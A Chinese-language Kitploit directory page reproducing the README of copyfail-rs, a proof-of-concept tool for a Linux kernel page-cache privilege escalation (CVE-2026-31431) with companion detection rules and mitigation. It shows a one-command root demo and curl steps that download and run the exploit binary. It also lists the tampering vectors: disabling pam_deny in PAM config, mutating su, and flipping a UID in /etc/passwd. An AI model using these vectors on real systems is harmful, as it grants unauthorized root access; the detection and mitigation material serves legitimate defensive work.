Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
copyfail-rs — CopyFail(CVE-2026-31431):Linux 内核页缓存权限提升 PoC + 唯一公开检测工具。新颖的 PAM 认证绕过向量 + Sigma/auditd/eBPF 规则。 | Kitploit
工具/GitHubGitHub/diemoeve/copyfail-rs
权限提升漏洞分析漏洞利用
GitHubdiemoeve/copyfail-rs

copyfail-rs

CopyFail(CVE-2026-31431):Linux 内核页缓存权限提升 PoC + 唯一公开检测工具。新颖的 PAM 认证绕过向量 + Sigma/auditd/eBPF 规则。

查看仓库
17334个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

copyfail-rs

针对 CVE-2026-31431(CopyFail)的多向量 PoC + 配套检测工具。 包含一个其他公开 PoC 均未提供的全新 PAM 认证绕过向量。 检测模式可捕获 AIDE / Wazuh / OSSEC / Tripwire 在结构上无法发现的问题。

单一静态二进制文件。约 108 KB。no_std musl。

演示

root@kitploit:~
noot@host:~$ ./copyfail-rs --mode exploit
[sudo] password for noot:
root@host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@host:~#

一条命令。Root shell。底层是 PAM 致命一击(对 /etc/pam.d/common-auth 进行单次 4 字节写入),通过 sudo 丢弃密码并 PTY 落入 root。[sudo] password for noot: 这行会短暂闪现,sudo 总是回显该提示符;二进制文件向其输入任意字符串,pam_unix 的失败会级联穿过被注释掉的 pam_deny.so 到达 pam_permit.so → root。

root@kitploit:~
$ ./copyfail-rs --mode detect --scan
=== copyfail-rs detection: --scan ===

TAMPERED (1):
  /etc/pam.d/common-auth [ext4]
    cache:  23c4f1ee...  ← 实际加载的内容(已变异)
    disk:   117dab1c...  ← AIDE / Wazuh / Tripwire 看到的内容(干净)

这就是本项目的核心。磁盘干净,缓存已变异。所有公开的 FIM 都是盲的。本工具不是。

快速开始(无需构建)

预构建静态二进制文件位于 v0.1.0 release。选择你的架构,下载,运行。

root@kitploit:~
# x86_64(大多数笔记本电脑 + 云服务器)
curl -LO https://github.com/diemoeve/copyfail-rs/releases/download/v0.1.0/copyfail-x86_64-musl
chmod +x copyfail-x86_64-musl
./copyfail-x86_64-musl --mode exploit

其他架构:

架构文件
ARM64 (aarch64)copyfail-aarch64-musl
ARMv7(树莓派 3+)copyfail-armv7-musleabihf

验证完整性:

root@kitploit:~
curl -LO https://github.com/diemoeve/copyfail-rs/releases/download/v0.1.0/checksums.txt
sha256sum -c checksums.txt

静态 musl 二进制文件,无运行时依赖,可部署在任何 Linux 上。

为什么 FIM 是盲的

页缓存变异。无 VFS 写入。无脏页。无 inotify 事件。周期性重新扫描与回收竞争。

AIDE/Wazuh/OSSEC/Tripwire/Samhain 通过缓冲 I/O 读取 → 页缓存 → 将变异字节的哈希视为真相。或者在回收后,哈希干净的磁盘 → “从未发生过任何更改”。

检测需要 O_DIRECT(跳过缓存)+ 缓冲读取(命中缓存)+ 哈希差异。不匹配 = CopyFail 特征。这就是 --scan。

向量

自动选择:--vector auto(默认)。按隐蔽性排序 pam > su > passwd。失败时回退。

检测

所有模式均支持 --json,便于 SIEM 摄取。

检测工件

detection/:

  • sigma/copyfail-af-alg.yml,Sigma 规则,可直接投入你的 SIEM
  • auditd/copyfail.rules,augenrules --load
  • ebpf/copyfail-trace.bt,bpftrace 单行脚本
  • apparmor/copyfail-block.profile,AppArmor 3.0+ 拒绝规则
  • mitigation/disable-algif.sh,modprobe 黑名单 + =y 警告

缓解

root@kitploit:~
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead

或内核主线 a664bf3d603d(2026 年 4 月)。截至目前:仅 Debian Sid/Forky 已发布。Ubuntu LTS、RHEL、SUSE、Amazon Linux、Fedora、Arch、Oracle = 全部易受攻击。

注意:CONFIG_CRYPTO_USER_API_AEAD=y(内置)会静默绕过 modprobe。--check 会发出警告。

利用 + 缓解之后:缓存变异会持续到重启。缓解措施阻止新的利用,但不会撤销过去的利用。

构建

root@kitploit:~
cargo build --release --target x86_64-unknown-linux-musl
目标大小
x86_64-musl108 KB
aarch64-musl96 KB
armv7-musleabihf86 KB

no_std。无分配器。无运行时依赖。单一静态二进制文件。

预构建工件和 SHA256 校验和已附加到 GitHub releases。

用法

每种模式的具体单屏示例请参阅 docs/usage.md(exploit auto/list/all,detect check/scan/baseline/diff/watch/hunt)。

如需本 README 的长篇叙述版本(更多上下文、更深入的阐述),请参阅 BLOG.md。

威胁模型

请参阅 docs/threat-model.md。

对比

授权与伦理

仅限自有硬件。无 CLI 门禁(安全剧场)。README + LICENSE = 框架。

检测模式为只读。可在生产环境安全使用。

利用模式会变异内核页缓存。仅限内存,但请视为破坏性操作。会阻止任何后续调用者的认证。

致谢

CVE-2026-31431 由 Theori / Xint 于 2026-04-29 披露(writeup,Xint blog)。先前的公开 PoC:

  • theori-io/copy-fail-CVE-2026-31431(Python,732 字节,su 向量)
  • tgies/copy-fail-c(带 nolibc 的 C,su + passwd 向量,可移植)
  • badsectorlabs/copyfail-go(静态 Go 二进制,su 向量)

本项目(copyfail-rs):新增 PAM 认证绕过向量、双模式检测、IR 工件。

许可证

MIT。

参考

  • https://copy.fail/
  • Linux 修复:a664bf3d603d
  • 最低版本:72548b093ee3(4.14,2017 年 8 月)
  • 类似漏洞:Dirty Pipe(CVE-2022-0847)
下载工具
向量目标落点
pam(新增)/etc/pam.d/common-auth(Debian/Ubuntu)或 system-auth(Fedora/RHEL/Arch)4 字节。auth requisite pam_deny.so → #aut requisite pam_deny.so。使用任意密码的 sudo = root。
su/usr/bin/su变异 setuid 二进制文本。execve → root。
passwd/etc/passwdUID 翻转 → 用户下次登录时变为 root。该用户的 SSH 将中断。
模式内容
--check内核 + 模块 + CONFIG_CRYPTO_USER_API_AEAD + 缓解状态。判定:易受攻击 / 已缓解 / 安全。
--scan对关键文件进行 O_DIRECT 与缓冲读取差异比较。statfs() 分支:ext4/xfs/btrfs 使用 O_DIRECT,overlayfs 回退,tmpfs 跳过。
--baseline / --diff快照已知干净状态。之后进行差异比较。仅缓存增量 = CopyFail 指纹。
--watch守护进程。周期性扫描。SIGTERM 干净退出。
--huntSSH 集群扫描。JSON 聚合。
Theori Pythontgies Cbadsectorlabs Gocopyfail-rs
向量susu + passwdsusu + passwd + PAM(全新)
检测无无无完整 --mode detect
IR 工件无无无Sigma + auditd + eBPF + AppArmor
操作员体验3 条命令4 条命令5 条命令1 条命令
二进制需要 Python~10 KB~5 MB~108 KB 静态